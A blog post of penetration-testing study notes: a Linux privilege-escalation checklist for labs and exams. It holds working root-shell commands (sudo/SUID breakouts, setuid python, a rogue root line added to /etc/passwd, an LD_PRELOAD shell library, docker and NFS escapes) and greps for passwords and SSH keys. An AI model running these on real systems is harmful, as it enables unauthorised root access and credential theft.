Post

Linux Privilege Escalation

Linux Privilege Escalation

Principle: On an unseen box, the win is not knowing a trick — it’s running the same enumeration sequence every time so nothing gets skipped under pressure, then mapping the output to a vector bucket below. Depth over trick-count. Exhaust misconfigurations before ever reaching for a kernel exploit.


0. Quick-start enumeration sequence

Run these first, by hand, before any automated tool. Read the output yourself, then confirm with LinPEAS.

1
2
3
4
5
6
7
8
9
10
11
12
id                                              # who am I, what groups
sudo -l                                         # highest-yield check — do this first
uname -a; cat /etc/os-release                   # kernel + distro (last-resort CVE context)
find / -perm -4000 -type f 2>/dev/null          # SUID binaries
find / -perm -2000 -type f 2>/dev/null          # SGID binaries
getcap -r / 2>/dev/null                          # file capabilities
cat /etc/crontab; ls -la /etc/cron*             # cron jobs
systemctl list-timers --all 2>/dev/null         # systemd timers
find / -writable -type f 2>/dev/null | grep -v "/proc/"   # writable files
cat /etc/exports 2>/dev/null                    # NFS shares
ls -la /etc/passwd /etc/shadow                  # writable sensitive files?
history; ls -la ~/.ssh 2>/dev/null              # creds + keys

Then run pspy (below) in the background while you work — it catches root-run cron/processes you can’t see with crontab -l.


1. Automated tooling (confirm, don’t replace, manual enum)

Tool Use Notes
LinPEAS Broad automated enum Read it critically — highlights are colour-coded (red/yellow = likely win). Don’t trust blindly.
lse.sh (linux-smart-enumeration) Quieter, tiered enum ./lse.sh -l1 / -l2 for progressively more detail. Cleaner than LinPEAS.
pspy Watch processes/cron fire without root Indispensable for spotting root-run cron scripts and their arguments.
linux-exploit-suggester Kernel CVE candidates Only when misconfigs are exhausted. Cross-check before running anything.
GTFOBins Exploitation recipes for sudo/SUID binaries Permanent reference. Bookmark offline for exam day.

Discipline: for the first ~15–20 boxes, do the manual checks first and use LinPEAS only to catch what you missed. This calibrates your eye so you stop needing it as a crutch.


2. Vector taxonomy

Every escalation sorts into one of these. Memorise the buckets so enum output instantly maps to “which of these is this?”

2.1 sudo misconfigurations — highest yield

  • Enumerate: sudo -l
  • Signal: any binary you can run as root, especially with NOPASSWD. Also note env_keep entries.
  • Exploit: look the binary up on GTFOBins under the sudo function. Classic wins: vim, less, awk, find, nmap --interactive, python, perl, env, tar --checkpoint.
    1
    2
    
    sudo find . -exec /bin/sh \; -quit
    sudo awk 'BEGIN {system("/bin/sh")}'
    
  • Also check: (ALL, !root) misconfig → CVE-2019-14287: sudo -u#-1 <cmd>.

2.2 SUID / SGID binaries

  • Enumerate: find / -perm -4000 -type f 2>/dev/null (SUID), -perm -2000 (SGID).
  • Signal: a non-standard SUID binary, or a standard one that shouldn’t be SUID.
  • Exploit: GTFOBins under the suid function.
    1
    2
    3
    
    # examples
    ./binary       # if it drops a shell / reads files as root
    cp             # SUID cp → overwrite /etc/passwd
    
  • Custom SUID binaries: run strings on them — look for relative-path command calls (→ PATH hijack, §2.9) or hard-coded creds.

2.3 Linux capabilities

  • Enumerate: getcap -r / 2>/dev/null
  • Signal: cap_setuid, cap_dac_read_search, cap_dac_override on a binary.
  • Exploit: GTFOBins capabilities function. Common:
    1
    2
    3
    4
    
    # python with cap_setuid+ep
    ./python -c 'import os; os.setuid(0); os.system("/bin/sh")'
    # perl with cap_setuid
    ./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
    

2.4 Cron jobs / systemd timers

  • Enumerate: cat /etc/crontab, ls -la /etc/cron.*, crontab -l, systemctl list-timers --all. Run pspy to catch jobs not visible in crontab.
  • Signal: a root cron job calling a script you can write to, a script in a writable directory, a relative path, or a wildcard.
  • Exploit:
    • Writable script → append a reverse shell / chmod +s /bin/bash.
    • Wildcard injection (e.g. tar * in cron) → drop --checkpoint payload files.
    • PATH-based → see §2.9.
      1
      2
      3
      
      echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /path/to/writable_script.sh
      # then, after it fires:
      /tmp/rootbash -p
      

2.5 Writable sensitive files

  • Enumerate: ls -la /etc/passwd /etc/shadow /etc/sudoers; find / -writable -type f 2>/dev/null.
  • Signal: world/group-writable /etc/passwd or /etc/shadow.
  • Exploit (/etc/passwd writable):
    1
    2
    3
    
    openssl passwd -1 -salt x pass123        # generate hash
    echo 'root2:<hash>:0:0:root:/root:/bin/bash' >> /etc/passwd
    su root2                                  # password: pass123
    

2.6 Services / software running as root

  • Enumerate: ps aux | grep root, netstat -tulpn / ss -tulpn (root-owned listeners on localhost).
  • Signal: a root process with a known local exploit, or an internal-only service (e.g. DB, admin panel) bound to 127.0.0.1.
  • Exploit: version-check the service → known CVE / misconfig. Internal-only services may need a local port-forward — cross-ref [[Pivoting]].

2.7 Dangerous group memberships

  • Enumerate: id, groups.
  • Exploit by group:
    1
    2
    3
    4
    5
    
    # docker
    docker run -v /:/mnt --rm -it alpine chroot /mnt sh
    # lxd / lxc  → import alpine image, mount host / into container, chroot
    # disk        → read raw filesystem
    debugfs /dev/sda1        # then: cat /root/root.txt etc.
    
  • Others worth flagging: adm (log read → creds), shadow (read /etc/shadow → crack), video, wheel/sudo.

2.8 Credential hunting

  • Enumerate:
    1
    2
    3
    4
    5
    
    history; cat ~/.bash_history
    find / -name "*.conf" -o -name "*.config" 2>/dev/null
    grep -rin "password\|passwd\|secret\|api[_-]key" /var/www /opt /home 2>/dev/null
    cat ~/.ssh/id_rsa; find / -name "id_rsa" 2>/dev/null
    cat /var/backups/* 2>/dev/null
    
  • Signal: DB creds in web configs, plaintext passwords in scripts/history, private SSH keys, reused passwords (→ try su to other users).
  • Feeds directly into [[Credential-Hunting]] and lateral movement.

2.9 PATH hijacking / LD_PRELOAD / LD_LIBRARY_PATH

  • PATH hijack: when a root-run script or SUID binary calls another binary by relative name (e.g. service, not /usr/sbin/service).
    1
    2
    3
    4
    
    export PATH=/tmp:$PATH
    echo -e '#!/bin/bash\ncp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > /tmp/<called_binary>
    chmod +x /tmp/<called_binary>
    # trigger the SUID/cron job → /tmp/rootbash -p
    
  • LD_PRELOAD: if sudo -l shows env_keep+=LD_PRELOAD.
    1
    2
    3
    4
    5
    
    // shell.c — compile: gcc -fPIC -shared -o /tmp/shell.so shell.c -nostartfiles
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    void _init() { setuid(0); setgid(0); system("/bin/bash -p"); }
    
    1
    
    sudo LD_PRELOAD=/tmp/shell.so <any_allowed_binary>
    
  • LD_LIBRARY_PATH: similar idea when a SUID binary loads a library from a writable path (check with ldd <binary>).

2.10 NFS no_root_squash

  • Enumerate: cat /etc/exports (on target); from attacker: showmount -e <target>.
  • Signal: a share exported with no_root_squash.
  • Exploit: mount from your box as root, drop a SUID binary that gets root UID on the target.
    1
    2
    3
    4
    5
    
    # on attacker (as root)
    mkdir /mnt/nfs && mount -o rw <target>:/share /mnt/nfs
    cp /bin/bash /mnt/nfs/rootbash && chmod +s /mnt/nfs/rootbash
    # on target
    /share/rootbash -p
    

2.11 Kernel / pkexec / sudo CVEs — last resort

  • Enumerate: uname -a, cat /etc/os-release, then linux-exploit-suggester.
  • Only after every misconfig above is exhausted — kernel exploits are unstable and can crash the box (costly under exam conditions).
  • High-signal named CVEs to check for:
    • PwnKit — CVE-2021-4034 (pkexec, near-universal on unpatched systems)
    • Baron Samedit — CVE-2021-3156 (sudo heap overflow)
    • DirtyPipe — CVE-2022-0847 (kernel 5.8–5.16)
    • Dirty COW — CVE-2016-5195 (older kernels)
  • Verify the target’s version is actually in range before running anything.

3. Exam-day discipline

  • Sequence, don’t improvise. Run §0 top-to-bottom every single time. Panic makes you skip sudo -l.
  • Read tool output — don’t just run it. A LinPEAS red flag you can’t interpret is useless. Understand the mechanism, not the command, or a slight variation on a known trick will beat you.
  • Misconfigs before kernel. Kernel exploits are a last resort — unstable and often unnecessary.
  • Stabilise first. Get a proper TTY (python3 -c 'import pty;pty.spawn("/bin/bash")', then Ctrl-Zstty raw -echo; fg) before deep enum.
  • Note the why. For every root, record the misconfig that enabled it, not just the command — that’s what generalises.

4. Per-box loop (feeds this chapter)

For every box you root:

  1. In the per-target note, record why the vector existed (the misconfig, not just the payload).
  2. If the technique is new, add it to the right §2 bucket here with the exact enumeration signal that would have flagged it.

That closes the loop between Targets/Linux/ notes and this reference chapter, and keeps §2 as your authoritative exam-day checklist.


5. References

  • GTFOBins — sudo/SUID/capabilities exploitation recipes
  • HackTricks → Linux Privilege Escalation (use as a cross-reference checklist, not passive reading)
  • PEASS-ng (LinPEAS), linux-smart-enumeration, pspy, linux-exploit-suggester
  • Practice: TCM “Linux Privilege Escalation for Beginners”; THM “Linux PrivEsc” / “Linux PrivEsc Arena”; VulnHub Lin.Security; then PG Practice + HTB volume
This post is licensed under CC BY 4.0 by the author.